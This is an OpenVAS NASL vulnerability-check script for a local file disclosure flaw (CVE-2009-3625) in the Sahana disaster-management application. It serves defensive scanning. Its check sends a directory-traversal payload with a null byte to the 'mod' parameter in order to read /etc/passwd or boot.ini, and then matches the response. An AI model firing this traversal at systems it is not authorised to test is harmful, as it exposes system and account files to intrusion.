Sahana 'mod' Parameter Local File Disclosure Vulnerability

###############################################################################
# OpenVAS Vulnerability Test
# $Id: sahana_36826.nasl 5055 2017-01-20 14:08:39Z teissa $
#
# Sahana 'mod' Parameter Local File Disclosure Vulnerability
#
# Authors:
# Michael Meyer
#
# Copyright:
# Copyright (c) 2009 Greenbone Networks GmbH
#
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License version 2
# (or any later version), as published by the Free Software Foundation.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
###############################################################################

tag_summary = "Sahana is prone to a local file-disclosure vulnerability because it
fails to adequately validate user-supplied input.

An attacker can exploit this vulnerability to obtain potentially
sensitive information from local files on computers running the
vulnerable application. This may aid in further attacks.

Sahana 0.6.2.2 is vulnerable; other versions may also be affected.";

tag_solution = "Updates are available. Please see the references for details.";

if (description)
{
 script_id(100336);
 script_version("$Revision: 5055 $");
 script_tag(name:"last_modification", value:"$Date: 2017-01-20 15:08:39 +0100 (Fri, 20 Jan 2017) $");
 script_tag(name:"creation_date", value:"2009-11-04 12:36:10 +0100 (Wed, 04 Nov 2009)");
 script_bugtraq_id(36826);
 script_cve_id("CVE-2009-3625");
 script_tag(name:"cvss_base", value:"7.5");
 script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:P/I:P/A:P");

 script_name("Sahana 'mod' Parameter Local File Disclosure Vulnerability");

 script_xref(name : "URL" , value : "http://www.securityfocus.com/bid/36826");
 script_xref(name : "URL" , value : "https://bugzilla.redhat.com/show_bug.cgi?id=530255");
 script_xref(name : "URL" , value : "http://www.sahana.lk/");
 script_xref(name : "URL" , value : "http://sourceforge.net/mailarchive/forum.php?thread_name=5d9043b70910191044l4bb0178fs563a5128a0f5db01%40mail.gmail.com&forum_name=sahana-maindev");

 script_tag(name:"qod_type", value:"remote_vul");
 script_category(ACT_GATHER_INFO);
 script_family("Web application abuses");
 script_copyright("This script is Copyright (C) 2009 Greenbone Networks GmbH");
 script_dependencies("sahana_detect.nasl");
 script_require_ports("Services/www", 80);
 script_exclude_keys("Settings/disable_cgi_scanning");
 script_tag(name : "solution" , value : tag_solution);
 script_tag(name : "summary" , value : tag_summary);
 exit(0);
}

include("http_func.inc");
include("http_keepalive.inc");
include("global_settings.inc");
   
port = get_http_port(default:80);

if(!get_port_state(port))exit(0);
if(!can_host_php(port:port))exit(0);

if(!version = get_kb_item(string("www/", port, "/sahana")))exit(0);
if(!matches = eregmatch(string:version, pattern:"^(.+) under (/.*)$"))exit(0);

vers = matches[1];
dir  = matches[2];

files = make_list("/etc/passwd","boot.ini");

if(!isnull(dir)) {
  foreach file (files) { 
    url = string(dir, "/index.php?stream=text&mod=/../../../../../../../../../../../",file,"%00"); 
    req = http_get(item:url, port:port);
    buf = http_keepalive_send_recv(port:port, data:req, bodyonly:FALSE);  
    if( buf == NULL )continue;

    if(egrep(pattern: "(root:.*:0:[01]:|\[boot loader\])", string: buf, icase: TRUE)) {
     
      security_message(port:port);
      exit(0);

    }
  }  
}

exit(0);